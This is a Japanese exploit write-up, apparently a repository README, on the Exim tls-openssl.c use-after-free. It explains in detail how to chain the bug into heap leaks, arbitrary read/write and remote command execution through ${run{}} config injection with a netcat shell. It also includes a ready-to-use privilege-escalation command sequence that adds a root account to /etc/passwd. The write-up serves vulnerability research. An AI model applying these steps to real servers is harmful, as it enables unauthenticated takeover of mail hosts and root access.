
Exim use-after-free エクスプロイトと検出
tls-openssl.c にUse-after-free (UAF) の脆弱性が存在し、リモートの認証されていない攻撃者が内部メモリデータを破損させ、最終的にリモートコード実行を達成することを可能にします。
プリミティブ:
これらすべてのプリミティブを連鎖させることで、利用可能なすべてのエクスプロイト緩和策を完全にバイパスし、最終的にeximユーザーとしてリモートコード実行に至ることが可能です。
この脆弱性は多数の脆弱性リストの中に公開されており、公式のQualysレポートでは、RCEが達成された後、CVE-2020-28008と連鎖させてローカル権限昇格(LPE)を実行しています。
Eximは以下のように設定・コンパイルされている必要があります:
X_PIPE_CONNECT が無効checker.py スクリプトを使用して、リモートサーバーが脆弱なバージョンであり、エクスプロイトに必要な要件を満たしているかを確認できます。
[!] checker.py は脆弱性をトリガーせず、脆弱なバージョンかどうか、PIPELININGとTLSが有効かを確認するだけです。つまり、このチェッカーはパッチの適用有無を確認しないため、誤検出が発生する可能性があります。
すでにご存知の通り、脆弱性は tls-openssl.c にあります。
/*************************************************
* Write bytes down TLS channel *
*************************************************/
/*
Arguments:
ct_ctx client context pointer, or NULL for the one global server context
buff buffer of data
len number of bytes
more further data expected soon
Returns: the number of bytes after a successful write,
-1 after a failed write
Used by both server-side and client-side TLS.
*/
int
tls_write(void * ct_ctx, const uschar *buff, size_t len, BOOL more)
{
int outbytes, error, left;
SSL * ssl = ct_ctx ? ((exim_openssl_client_tls_ctx *)ct_ctx)->ssl : server_ssl;
static gstring * corked = NULL;
DEBUG(D_tls) debug_printf("%s(%p, %lu%s)\n", __FUNCTION__,
buff, (unsigned long)len, more ? ", more" : "");
/* Lacking a CORK or MSG_MORE facility (such as GnuTLS has) we copy data when
"more" is notified. This hack is only ok if small amounts are involved AND only
one stream does it, in one context (i.e. no store reset). Currently it is used
for the responses to the received SMTP MAIL , RCPT, DATA sequence, only. */
/*XXX + if PIPE_COMMAND, banner & ehlo-resp for smmtp-on-connect. Suspect there's
a store reset there. */
if (!ct_ctx && (more || corked))
{
#ifdef EXPERIMENTAL_PIPE_CONNECT
int save_pool = store_pool;
store_pool = POOL_PERM;
#endif
corked = string_catn(corked, buff, len);
#ifdef EXPERIMENTAL_PIPE_CONNECT
store_pool = save_pool;
#endif
if (more)
return len;
buff = CUS corked->s;
len = corked->ptr;
corked = NULL;
}
for (left = len; left > 0;)
{
DEBUG(D_tls) debug_printf("SSL_write(%p, %p, %d)\n", ssl, buff, left);
outbytes = SSL_write(ssl, CS buff, left);
error = SSL_get_error(ssl, outbytes);
DEBUG(D_tls) debug_printf("outbytes=%d error=%d\n", outbytes, error);
switch (error)
{
case SSL_ERROR_SSL:
ERR_error_string_n(ERR_get_error(), ssl_errstring, sizeof(ssl_errstring));
log_write(0, LOG_MAIN, "TLS error (SSL_write): %s", ssl_errstring);
return -1;
case SSL_ERROR_NONE:
left -= outbytes;
buff += outbytes;
break;
case SSL_ERROR_ZERO_RETURN:
log_write(0, LOG_MAIN, "SSL channel closed on write");
return -1;
case SSL_ERROR_SYSCALL:
log_write(0, LOG_MAIN, "SSL_write: (from %s) syscall: %s",
sender_fullhost ? sender_fullhost : US"<unknown>",
strerror(errno));
return -1;
default:
log_write(0, LOG_MAIN, "SSL_write error %d", error);
return -1;
}
}
return len;
}
smtp_setup_msg() は、クライアントからのメッセージ読み取りを実行する主要関数です。
特定の状況では、smtp_reset() が呼び出され、すべてのバッファと値のクリーンアップが行われます。
これは以下のような状況で発生します:
HELO/EHLO 受信時STARTTLS 受信時RSET 受信時smtp_setup_msg() の開始時smtp_reset() の最後で、store_reset() が呼び出されます。
store_reset は store_reset_3() 関数をラップするマクロです。
store 関数は動的メモリを管理する単なる関数です。
Exim は malloc から取得したブロックに対してプールアロケータを使用します。
また、拡張可能な文字列実装という興味深い機能もあります。
gstring 構造体:
typedef struct gstring {
int size; /* Current capacity of string memory */
int ptr; /* Offset at which to append further chars */
uschar * s; /* The string memory */
} gstring;
新しい文字列を連結するためにより多くのスペースが必要な場合、gstring_grow() を呼び出します。
この関数はまず store_extend_3() を呼び出そうとします。この関数は同じプールブロック内でメモリを拡張しようとします。
入力の長さが不明な場合に便利ですが、その後にさらにメモリが割り当てられていると拡張できません。
次に gstring_grow() は store_newblock_3() を呼び出し、新しいメモリを返し、以前のメモリのバイトを新しいものにコピーします。
その後、g->s ポインタが gstring_catn() から復元されます。
関数 tls_write() では、more という BOOL 変数があります。
これは、データをユーザーに返す前に、文字列バッファにコピーするデータがまだあるかどうかを示します。
ある場合、ポインタは NULL にされません。
ない場合、文字列バッファに含まれるデータがユーザーに返されます。
この機能により、Use-after-Free をトリガーするための興味深い方法がいくつか開かれます。
まず、gstring 構造体へのポインタは静的変数に格納されます。これは、将来 tls_write() を呼び出す際に使用できることを意味します。
どのようにしてバッファを解放した後も使用できるようにするのでしょうか?
server_corked が(NULL にされていない)状態で smtp_setup_msg() に smtp_reset() を呼び出させる必要があります。
リセット後、何らかの方法で tls_write() を呼び出すと、ポインタはまだ存在するため、メモリが解放された後も使用することができます。
smtp_reset() は、バッファが含まれている POOL_MAIN のすべてのメモリを解放します。
Use-After-Free を制御するには、まず新しい接続を初期化する必要があります。
tls_write() を悪用したいので、まず新しい TLS セッションを開始する必要があります。
そのため、最初に EHLO コマンドを送信し、続いて STARTTLS を送信して TLS 接続を開始します。
次に、more を 1 にするために、コマンドをパイプライン化し、最後のコマンドを NOOP の半分にします。
TLS 接続を閉じ、NOOP コマンドの残りを送信します。
ここで再び EHLO を送信すると、smtp_reset が呼び出され、バッファが解放されます。
次に、再び tls_write() を使用できるように、別の TLS 接続を開始する必要があります。
STARTTLS を送信します。
これで、サーバーに任意のコマンドを送信すると、応答を返すために tls_write() が呼び出されます。
しかし... server_corked には、解放されたメモリ上のどこかを指すポインタがまだ含まれています。
そして、そのメモリは解放されているため、他の関数によって使用される可能性があり、gstring 構造体はランダムなバイナリデータで破損します。
これが UAF をトリガーした結果です:
gef➤ p *corked
$1 = {
size = 0x54595c9c,
ptr = 0xa7e800ba,
s = 0x7e35043433160bd3 <error: Cannot access memory at address 0x7e35043433160bd3>
}
gef➤ p corked
$2 = (gstring *) 0x555ad3be1b58
gef➤
この構造体は、STARTTLS に続くコマンドで tls_write() に入った直後の状態です。
明らかに、corked->s にアクセスしようとすると SIGSEGV 割り込みが発生します。
Qualys が述べているように、脆弱性を悪用するには3つのステップがあります:
header_line などの構造体からヒープポインタをバッファに書き込ませることができます。そうすれば tls_write() が呼び出されたときに、そのデータがユーザーに返されます。これにより、エクスプロイトを続行するためのメモリリークが得られます。${run{<command>}} を注入します。ここで <command> は攻撃者が実行したい任意のコマンド(netcat を使用したリバースシェルなど)です。この設定は string_expand() によって解釈され、最終的にコマンドが実行されます。Use-After-Free のトリガーに成功しました。
次に、プリミティブを正常かつ確実に作成するために、UAF を適切に制御する必要があります。
残念ながら、POOL_MAIN のバッファが解放された後、ブロックは直接 free() に渡されます。
つまり、メモリは store_get_3() や store_newblock_3() だけでなく、malloc() を使用する任意の関数(CRYPTO_zalloc() など)からもアクセスされる可能性があります。
この場合、tls_server_start() のどこかで、malloc() を通じてメモリが要求されます。
そして、そこにバイナリデータがコピーされ、gstring 構造体が破損します。
これを防ぐ方法を見つけ、有効なメモリアドレスを指す健全な gstring 構造体で tls_write() に到達できるようにする必要があります。そうしないと、SIGSEGV 割り込みが発生します。
Exim プールアロケータの動作を理解し、デバッグを行い、いくつかのコマンドを試してヒープ側での動作を確認した結果、このデータが gstring 構造体に書き込まれるのを回避できるようになりました。
Use-After-Free が正常にトリガーされ、構造体が破損されていない状態になったら、関数がヒープアドレスを文字列の途中(g->ptr より前の任意の位置)に書き込むようにヒープを移動させる必要があります。
幸運なことに、応答はプレーンテキスト(バイナリプロトコルではない)ですが、クライアントに NULL バイトを送信することができます。
なぜこれが可能なのでしょうか?
応答は SSL_write() で送り返されますが、NULL バイトに問題はありません。
文字列はどうでしょうか? string_catn() は NULL バイトをカットしません。データのコピーに memcpy を使用するからです。
制限を設定する唯一の方法は g->ptr ですが、アドレスは g->ptr インデックスの前に書き込まれるため、そのインデックスまでのすべてのデータが返され、貴重なヒープアドレスが漏洩します。
PoC でメモリリークを行った結果:

これでヒープベースが明らかになりました...
そして、アドレスは接続間で変化しません... そのため、RCE への道を開始できます。
しかし、gstring 構造体をどのように上書きするのでしょうか?
Qualys のテクニックを使用すれば、非常に簡単であることがわかりました。
ESMTP は SMTP プロトコルにいくつかのものを追加し、MAIL FROM コマンドのパラメータなどがあります。
最後の STARTTLS の後に大きなパラメータを使用するだけで、構造体を上書きするのに十分です。
結果:
gef➤ p *corked
$1 = {
size = 0x42424242,
ptr = 0x42424242,
s = 0x4242424242424242 <error: Cannot access memory at address 0x4242424242424242>
}
gstring 構造体を完全に制御できました。
次に任意読み取りプリミティブを作成します。
簡単そうです... g->size と g->ptr を大きな値で上書きします。
次に g->s を読み取りたいメモリアドレスで上書きします。
コマンドが終了すると、tls_write() が呼び出されてデータをユーザーに返します。
文字列バッファポインタが破損し、攻撃者の任意の位置を指しているため、その位置のデータが返されます。
次に、チャンクを反復処理して、Exim 設定を保持するチャンクかどうかを判断するキーワードを見つける関数を実装します。該当する場合は、最後のステップに進みます。
私が実装した関数は、ヒープベースからヒープ全体を READ_SZ 長さずつ反復します。
[+] Leaked heap address = 0x55c846683d90
[+] Leaked heap_base = 0x55c8465f4000
[*] Searching for Exim configuration in memory...
[+] Config found at: 0x55c8465f6328
何か見つかったら、最後のステップに進みます。
ヒープベースアドレスがわかりました。さらに興味深いことに、Exim 設定の場所もわかりました!
これで RCE の時間です :P
今度は、Exim 設定を上書きし、${run{<command>}} を注入する必要があります。そうすれば、string_expand() が実行されたときに、コマンドが解釈され、最終的に任意のコマンド実行が達成されます。
RCE を得る簡単な方法は netcat を使用することです。コマンドに nc を使用するだけでシェルが得られます。
しかし、どのようにして write-what-where プリミティブを作成するのでしょうか?
まず(任意読み取りプリミティブと同じように)gstring 構造体を上書きする必要があります。
それを制御できたら、まず g->s を書き込みたい場所(この場合は Exim 設定アドレス)に向けます。
次に、次の応答がバッファに書き込まれるとき、応答は g->s が指す場所に書き込まれます :)
しかし、どのようにして gstring 構造体を破損させ、同時に任意の応答を得るのでしょうか?
Qualys はこの点をアドバイザリで明確にしていません。
"MAIL FROM" コマンドで任意のデータを返すようにする必要があります。
いくつかの試行の後、最良の解決策はエラーメッセージを使用することだと考えました。
ADDR - strlen("501 ") を選択できます。
これにより、その4バイトがターゲットを破損しません。
MAIL FROM を失敗させるにはどうすればよいでしょうか? 無効な送信者を使用します。送信者にはドメインが必要であり、ドメインが指定されていない場合、エラーメッセージにはクライアントから送信されたデータが含まれます。
ただし、問題があります。NULL を送信しているため、次のメッセージが返されます: "501 NUL characters are not allowed in SMTP commands"
そのため、出力を制御する方法はまだありません。リクエストに NULL が必要だからです。
別の "MAIL FROM" を送信して応答を破損させることはできません。なぜなら、UAF をトリガーすると more=0 になり、解放されたバッファにアクセスできないからです。
しかし、handle_smtp_call() から DATA を送信すると、receive_msg() が呼び出されます。現在のプールを復元しないように騙し、解放されたバッファを上書きするためにヒープを少し整えることができます。
上書きしたら、無効なデータを含む MAIL FROM を有効なものとパイプライン化して送信します。応答は s ポインタに書き込まれます。
Write-What-Where を達成した後、引数の数に関する要件のため、netcat を直接使用するのに問題がありました。そのため、/bin/sh -c '<nc command here>' を使用しました。
MAIL FROM ACL を上書きし、2番目の MAIL FROM をパイプライン化すると expand_cstring() が呼び出され、最終的に任意のコマンドが実行されるようにしました。
以下はエクスプロイトでシェルを取得したスクリーンショットです:

$ /bin/bash
$ cd /var/spool/exim4/db
$ rm -f retry*
$ ln -s -f /etc/passwd retry.passwd
$ /usr/sbin/exim4 -odf -oep postmaster < /dev/null
$ # creds => pwner:pwner
$ echo 'pwner:$6$4KB5snZ5jevx6TFa$VNdvb49sUfHhAQeKCkbpGVDnHUbnNfbpFh.QVjwIqvGlYsyKp8yoYrAfNDcG0XdtoQ2vT9LQPLml6XmCaVCOX/:18757:0:99999:7:::' >> /etc/passwd
$ su -l pwner
* Enter pass: pwner *
# id
uid=0(root) gid=0(root) groups=0(root)
#
テストは以下で実施されました:
root@research:~# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 10 (buster)
Release: 10
Codename: buster
Exim のバージョン:
root@research:~# exim --version
Exim version 4.92 #7 built 06-May-2021 19:31:44
Copyright (c) University of Cambridge, 1995 - 2018
(c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2018
Berkeley DB: Berkeley DB 5.3.28: (September 9, 2013)
Support for: crypteq iconv() OpenSSL DANE DKIM DNSSEC Event OCSP PRDR TCP_Fast_Open
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb passwd
Authenticators: cram_md5 plaintext
Routers: accept dnslookup ipliteral manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp
Fixed never_users: 0
Configure owner: 0:0
Size of off_t: 8
Configuration file is /var/lib/exim4/config.autogenerated
私の Exim バージョンは自己コンパイルですが、debian の主流で使用されているコンパイルフラグを再現しています。
設定は debian のデフォルトと同じで、いくつかのマイナーな変更があるかもしれません。
このリポジトリには、exim-4.92 というディレクトリがあります。exim のソースコードです。
最初に apt パッケージマネージャーで exim をインストールします。
exim ディレクトリと config ディレクトリをマシンにダウンロードします。
まず config/Makefile を exim-4.92/Local にコピーします。
次に config/eximon.conf を exim-4.92/Local にコピーします。
ここで make を実行すると、build-linux-* ディレクトリが作成されます。そのディレクトリに移動し、すべての "-O2" を "-O0" に置き換えます。
OS/ ディレクトリでも同じことを行います。最後に build-linux-* で CFLAGS 変数に -g を追加します。
gdb に libc と exim ソースを追加することを推奨します。
次に make と make install を実行します。
cp /usr/exim/bin/* /usr/sbin/
cp /usr/sbin/exim /usr/sbin/exim4
証明書生成には次のスクリプトを使用しました: https://github.com/volumio/RootFS/blob/master/usr/share/doc/exim4-base/examples/exim-gencert
最後に /etc/exim4 で exim4 設定の TLS を有効にし、bash スクリプトで生成された /etc/exim4/exim.crt と /etc/exim4/exim.key を使用します。
最後に: sudo update-exim4.conf && systemctl restart exim4
systemctl status exim4 ですべてが正常であることを確認します。
STARTTLS を試行した後に "TLS not currently available" エラーが表示される場合は、exim4 のログを確認してください。
私が直面した問題は、証明書に使用した鍵が短すぎたことです。そのため、前述の gencert スクリプトの鍵ビットを変更しました(4096 を使用)。
詳細については、公式 Qualys アドバイザリ を参照してください。